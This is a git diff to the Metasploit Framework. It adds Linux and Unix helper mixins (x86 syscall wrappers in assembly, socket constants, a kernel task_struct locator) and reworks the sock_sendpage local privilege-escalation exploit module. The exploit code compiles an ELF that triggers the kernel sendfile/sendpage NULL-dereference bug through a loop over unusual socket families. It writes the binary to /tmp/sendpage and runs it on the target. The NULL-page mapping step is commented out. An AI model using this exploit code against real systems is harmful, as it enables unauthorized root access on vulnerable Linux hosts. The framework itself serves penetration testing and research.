diff --git a/lib/msf/core/exploit/local/compile_c.rb b/lib/msf/core/exploit/local/compile_c.rb new file mode 100644 index 0000000000..4d3b05e968 --- /dev/null +++ b/lib/msf/core/exploit/local/compile_c.rb @@ -0,0 +1,19 @@ + +module Msf +module Exploit::Local::CompileC + + attr_accessor :cpu + attr_accessor :cparser + + def setup + super + init_metasm(Metasm::Ia32.new) + end + + def init_metasm(cpu, cparser=nil) + @cpu = cpu + @cparser = cparser || @cpu.new_cparser + end + +end +end diff --git a/lib/msf/core/exploit/local/linux.rb b/lib/msf/core/exploit/local/linux.rb new file mode 100644 index 0000000000..a26cb7f0d9 --- /dev/null +++ b/lib/msf/core/exploit/local/linux.rb @@ -0,0 +1,139 @@ +require 'msf/core/exploit/local/compile_c' +load 'lib/msf/core/exploit/local/compile_c.rb' + +module Msf +module Exploit::Local::Linux + include Exploit::Local::CompileC + + def linux_x86_syscall_wrappers(metasm_exe) + cparser.parse <<-EOC + #ifndef size_t + #define size_t int + #endif + #ifndef off_t + #define off_t unsigned long + #endif + + #define O_CREAT 64 + #define O_RDWR 2 + + #define MAP_PRIVATE 0x02 + #define MAP_FIXED 0x10 + #define MAP_ANONYMOUS 0x20 + #define MAP_ANON MAP_ANONYMOUS + #define MAP_FAILED ((void *)-1) + + #define PROT_READ 0x1 + #define PROT_WRITE 0x2 + #define PROT_EXEC 0x4 + + void exit(int status); + int read(int fd, void *buf, size_t count); + int write(int fd, void *buf, size_t count); + int open(const char *pathname, int flags, int mode); + int unlink(const char *pathname); + int ftruncate(int fd, off_t length); + int socket(int, int, int); + int sendfile(int in_fd, int out_fd, void *, int count); + void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); + void *__mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset); + + void * + mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset) + { + return __mmap2(addr, length, prot, flags, fd, (offset >> 12)); + } + + #ifdef DEBUGGING + void sigtrap(); + #else + #define sigtrap() + #endif + + EOC + metasm_exe.parse <<-EOS + sigtrap: + int 3 + ret + exit: + mov eax, 1 ; sys_exit + mov ebx, [esp+4] + int 0x80 + ret + read: + mov eax, 3 ; sys_write + mov edx,[esp+12] ; length + mov ecx,[esp+8] ; string + mov ebx,[esp+4] ; file descriptor + int 0x80 + ret + write: + mov eax, 4 ; sys_write + mov edx,[esp+12] ; length + mov ecx,[esp+8] ; string + mov ebx,[esp+4] ; file descriptor + int 0x80 + ret + open: + mov eax, 5 ; sys_open + mov ecx,[esp+8] ; mode + mov ebx,[esp+4] ; flags + int 0x80 + ret + ftruncate: + mov eax, 92 ; sys_ftruncate + mov ecx,[esp+8] ; file descriptor + mov ebx,[esp+4] ; size + int 0x80 + ret + socket: + mov eax, 102 ; sys_socketcall + mov ecx,[esp] ; args + mov ebx,0x1 ; + int 0x80 + ret + sendfile: + mov eax, 187 ; sys_sendfile + mov esi,[esp+16] ; size + mov edx,[esp+12] ; offset + mov ecx,[esp+8] ; out_fd + mov ebx,[esp+4] ; in_fd + int 0x80 + ret + + unlink: + mov eax, 10 ; sys_unlink + mov ebx,[esp+4] ; filename + int 0x80 + ret + + __mmap2: + push ebx + push ecx + push edx + push esi + push edi + push ebp + + mov eax, 90 + mov ebx, [esp+28] + mov ecx, [esp+32] + mov edx, [esp+36] + mov esi, [esp+40] + mov edi, [esp+44] + mov ebp, [esp+48] + int 0x80 + + pop ebp + pop edi + pop esi + pop edx + pop ecx + pop ebx + ret + EOS + + end +end +end + diff --git a/lib/msf/core/exploit/local/linux_kernel.rb b/lib/msf/core/exploit/local/linux_kernel.rb index 4b728b7e4e..ba1bb4aa1b 100644 --- a/lib/msf/core/exploit/local/linux_kernel.rb +++ b/lib/msf/core/exploit/local/linux_kernel.rb @@ -1,6 +1,61 @@ module Msf module Exploit::Local::LinuxKernel + include Msf::Exploit::Local::CompileC + + def current_task_struct_h(metasm_exe) + metasm_exe.parse <<-EOS + current_stack_pointer: + mov eax, esp + ret + EOS + + # Taken from sock_sendpage.c + cparser.parse <<-EOC +#define TASK_RUNNING 0 + +int current_stack_pointer(void); + +static inline unsigned long +current_task_struct(void) +{ + unsigned long task_struct, thread_info; + + thread_info = current_stack_pointer() & ~(4096 - 1); + + if (*(unsigned long *)thread_info >= 0xc0000000) { + task_struct = *(unsigned long *)thread_info; + + /* + * The TASK_RUNNING is the only possible state for a process executing + * in user-space. + */ + if (*(unsigned long *)task_struct == TASK_RUNNING) + return task_struct; + } + + /* + * Prior to the 2.6 kernel series, the task_struct was stored at the end + * of the kernel stack. + */ + task_struct = current_stack_pointer() & ~(8192 - 1); + + if (*(unsigned long *)task_struct == TASK_RUNNING) + return task_struct; + + thread_info = task_struct; + + task_struct = *(unsigned long *)thread_info; + + if (*(unsigned long *)task_struct == TASK_RUNNING) + return task_struct; + + return -1; +} + +EOC + + end end end diff --git a/lib/msf/core/exploit/local/unix.rb b/lib/msf/core/exploit/local/unix.rb index 9f2984bc0c..798e1a2e84 100644 --- a/lib/msf/core/exploit/local/unix.rb +++ b/lib/msf/core/exploit/local/unix.rb @@ -1,38 +1,144 @@ module Msf module Exploit::Local::Unix - attr_accessor :cpu - attr_accessor :cparser - def setup - super - init_metasm(Metasm::Ia32.new) - end + include Exploit::Local::CompileC - def init_metasm(cpu, cparser=nil) - @cpu = cpu - @cparser = cparser || cpu.new_cparser - end - - def include_socket_h + def unix_socket_h(metasm_exe) + # Most of this is copied from + # external/source/meterpreter/source/bionic/libc/kernel/common/linux/socket.h cparser.parse <<-EOC - #define PF_BLUETOOTH 31 - #define PF_IUCV 32 +#define AF_UNSPEC 0 +#define AF_UNIX 1 +#define AF_LOCAL 1 +#define AF_INET 2 +#define AF_AX25 3 +#define AF_IPX 4 +#define AF_APPLETALK 5 +#define AF_NETROM 6 +#define AF_BRIDGE 7 +#define AF_ATMPVC 8 +#define AF_X25 9 +#define AF_INET6 10 +#define AF_ROSE 11 +#define AF_DECnet 12 +#define AF_NETBEUI 13 +#define AF_SECURITY 14 +#define AF_KEY 15 +#define AF_NETLINK 16 +#define AF_ROUTE AF_NETLINK +#define AF_PACKET 17 +#define AF_ASH 18 +#define AF_ECONET 19 +#define AF_ATMSVC 20 +#define AF_SNA 22 +#define AF_IRDA 23 +#define AF_PPPOX 24 +#define AF_WANPIPE 25 +#define AF_LLC 26 +#define AF_TIPC 30 +#define AF_BLUETOOTH 31 +#define AF_MAX 32 - #define IPPROTO_SCTP 132 +#define PF_UNSPEC AF_UNSPEC +#define PF_UNIX AF_UNIX +#define PF_LOCAL AF_LOCAL +#define PF_INET AF_INET +#define PF_AX25 AF_AX25 +#define PF_IPX AF_IPX +#define PF_APPLETALK AF_APPLETALK +#define PF_NETROM AF_NETROM +#define PF_BRIDGE AF_BRIDGE +#define PF_ATMPVC AF_ATMPVC +#define PF_X25 AF_X25 +#define PF_INET6 AF_INET6 +#define PF_ROSE AF_ROSE +#define PF_DECnet AF_DECnet +#define PF_NETBEUI AF_NETBEUI +#define PF_SECURITY AF_SECURITY +#define PF_KEY AF_KEY +#define PF_NETLINK AF_NETLINK +#define PF_ROUTE AF_ROUTE +#define PF_PACKET AF_PACKET +#define PF_ASH AF_ASH +#define PF_ECONET AF_ECONET +#define PF_ATMSVC AF_ATMSVC +#define PF_SNA AF_SNA +#define PF_IRDA AF_IRDA +#define PF_PPPOX AF_PPPOX +#define PF_WANPIPE AF_WANPIPE +#define PF_LLC AF_LLC +#define PF_TIPC AF_TIPC +#define PF_BLUETOOTH AF_BLUETOOTH +#define PF_MAX AF_MAX - #define SOCK_STREAM 1 - #define SOCK_DGRAM 2 - #define SOCK_SEQPACKET 5 +#define SOMAXCONN 128 + +#define MSG_OOB 1 +#define MSG_PEEK 2 +#define MSG_DONTROUTE 4 +#define MSG_TRYHARD 4 +#define MSG_CTRUNC 8 +#define MSG_PROBE 0x10 +#define MSG_TRUNC 0x20 +#define MSG_DONTWAIT 0x40 +#define MSG_EOR 0x80 +#define MSG_WAITALL 0x100 +#define MSG_FIN 0x200 +#define MSG_SYN 0x400 +#define MSG_CONFIRM 0x800 +#define MSG_RST 0x1000 +#define MSG_ERRQUEUE 0x2000 +#define MSG_NOSIGNAL 0x4000 +#define MSG_MORE 0x8000 + +#define MSG_EOF MSG_FIN + +#define MSG_CMSG_COMPAT 0 + +#define SOL_IP 0 + +#define SOL_TCP 6 +#define SOL_UDP 17 +#define SOL_IPV6 41 +#define SOL_ICMPV6 58 +#define SOL_SCTP 132 +#define SOL_RAW 255 +#define SOL_IPX 256 +#define SOL_AX25 257 +#define SOL_ATALK 258 +#define SOL_NETROM 259 +#define SOL_ROSE 260 +#define SOL_DECNET 261 +#define SOL_X25 262 +#define SOL_PACKET 263 +#define SOL_ATM 264 +#define SOL_AAL 265 +#define SOL_IRDA 266 +#define SOL_NETBEUI 267 +#define SOL_LLC 268 +#define SOL_DCCP 269 +#define SOL_NETLINK 270 +#define SOL_TIPC 271 + +#define IPX_TYPE 1 + + + #define PF_IUCV 32 + #define IPPROTO_SCTP 132 + + #define SOCK_STREAM 1 + #define SOCK_DGRAM 2 + #define SOCK_SEQPACKET 5 struct iovec { char *iov_base; int iov_len; }; + int socket(int, int, int); EOC - nil end diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 3c5fb30edc..94124c9525 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -11,10 +11,12 @@ require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' +require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' - load 'lib/msf/core/exploit/local/unix.rb' +load 'lib/msf/core/exploit/local/linux.rb' +load 'lib/msf/core/exploit/local/linux_kernel.rb' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking @@ -24,6 +26,7 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel + include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) @@ -53,103 +56,122 @@ class Metasploit4 < Msf::Exploit::Local end def exploit - include_socket_h - sc = Metasm::Shellcode.new(@cpu) + sc = Metasm::ELF.new(@cpu) + cparser.parse "#define DEBUGGING" + sc.parse %Q| + #define DEBUGGING + #ifdef __ELF__ + .section ".text" rwx + .entrypoint + #endif + call main + push eax + call exit + | + + unix_socket_h(sc) + current_task_struct_h(sc) case target.arch.first when ARCH_X86 - @cparser.parse <<-EOS - #define NULL ((void*)0) - #define PAGE_SIZE (4096) - #define O_CREAT 64 - #define O_RDWR 2 + linux_x86_syscall_wrappers(sc) + main = <<-EOS + #define NULL ((void*)0) + #define PAGE_SIZE (4096) + #define DOMAINS_STOP -1 + const int domains[] = { + PF_APPLETALK, + PF_IPX, + PF_IRDA, + PF_X25, + PF_AX25, + PF_BLUETOOTH, + PF_PPPOX, + DOMAINS_STOP + }; - #define MAP_PRIVATE 0x02 - #define MAP_FIXED 0x10 - #define MAP_ANONYOUS 0x20 + int main() { + int in_fd, out_fd; + char *addr; + int d = 0; - void exit(int); - int open(char *, int, int); - void sigtrap(); - int ftruncate(int, int); - int sendfile(int, int, int *, int); - int socket(int, int, int); + /* + addr = mmap( + NULL, 0x1000, + PROT_EXEC | PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, + 0, 0); + sigtrap(); + if (addr != NULL) { + #{c_puts("Failed, trying again without PROT_EXEC hoping they don't support NX")} + addr = mmap( + NULL, 0x1000, + PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, + 0, 0); + sigtrap(); + if (addr == NULL) { + #{c_puts("Mapped NULL! ZOMG! Let's fighting love!")} + } else { + #{c_puts("Failed to map 0 page")} + } + } - int current_stack_pointer(void); + addr[0] = '\\xff'; + addr[1] = '\\x25'; + *(unsigned long *)&addr[2] = 8; + *(unsigned long *)&addr[8] = (unsigned long)&sigtrap; + */ - void main() { - int in_fd, out_fd; - char *addr; + for (d = 0; domains[d] != DOMAINS_STOP; d++) { + #{c_puts("Next domain")} + out_fd = socket(domains[d], SOCK_DGRAM, 0); + sigtrap(); + if (in_fd > 0) { + break; + } + } - out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0); - in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700); - ftruncate(in_fd, 0); - sendfile(in_fd, out_fd, NULL, PAGE_SIZE); - exit(0x42); - } + if (out_fd < 0) { + #{c_puts("No domains.")} + exit(1); + } + + in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700); + unlink("/tmp/woot"); + + ftruncate(in_fd, 0); + #{c_puts("About to trigger")} + sendfile(in_fd, out_fd, NULL, PAGE_SIZE); + return 42; + } EOS - asm = @cpu.new_ccompiler(@cparser, sc).compile - puts asm + cparser.parse(main) + asm = cpu.new_ccompiler(cparser, sc).compile - sc.parse "call main" sc.parse asm - sc.parse <<-EOS - current_stack_pointer: - mov eax, esp - ret - EOS - - sc.parse <<-EOS - sigtrap: - int 3 - ret - exit: - mov eax, 1 ; sys_exit - mov ebx, [esp+4] - int 0x80 - ret - open: - mov eax, 5 ; sys_open - mov ecx,[esp+8] ; mode - mov ebx,[esp+4] ; flags - int 0x80 - ret - ftruncate: - mov eax, 92 ; sys_ftruncate - mov ecx,[esp+8] ; file descriptor - mov ebx,[esp+4] ; size - int 0x80 - ret - socket: - mov eax, 102 ; sys_socketcall - mov ecx,[esp] ; args - mov ebx,0x1 ; - int 0x80 - ret - sendfile: - mov eax, 187 ; sys_sendfile - mov esi,[esp+16] ; size - mov edx,[esp+12] ; offset - mov ecx,[esp+8] ; out_fd - mov ebx,[esp+4] ; in_fd - int 0x80 - ret - EOS end sc.assemble - foo = sc.encode_string + if sc.kind_of? Metasm::ELF + elf = sc.encode_string + else + foo = sc.encode_string + elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo) + end #puts Rex::Text.to_hex_dump(foo) File.open("payload.bin", "wb") {|fd| - fd.write Msf::Util::EXE.to_linux_x86_elf(framework, foo) + fd.write elf } + write_file("/tmp/sendpage", elf) + p cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") end - def include_linux_syscall_h + def c_puts(str) + %Q|write(1, "#{str}\\n", #{str.length + 1});| end - end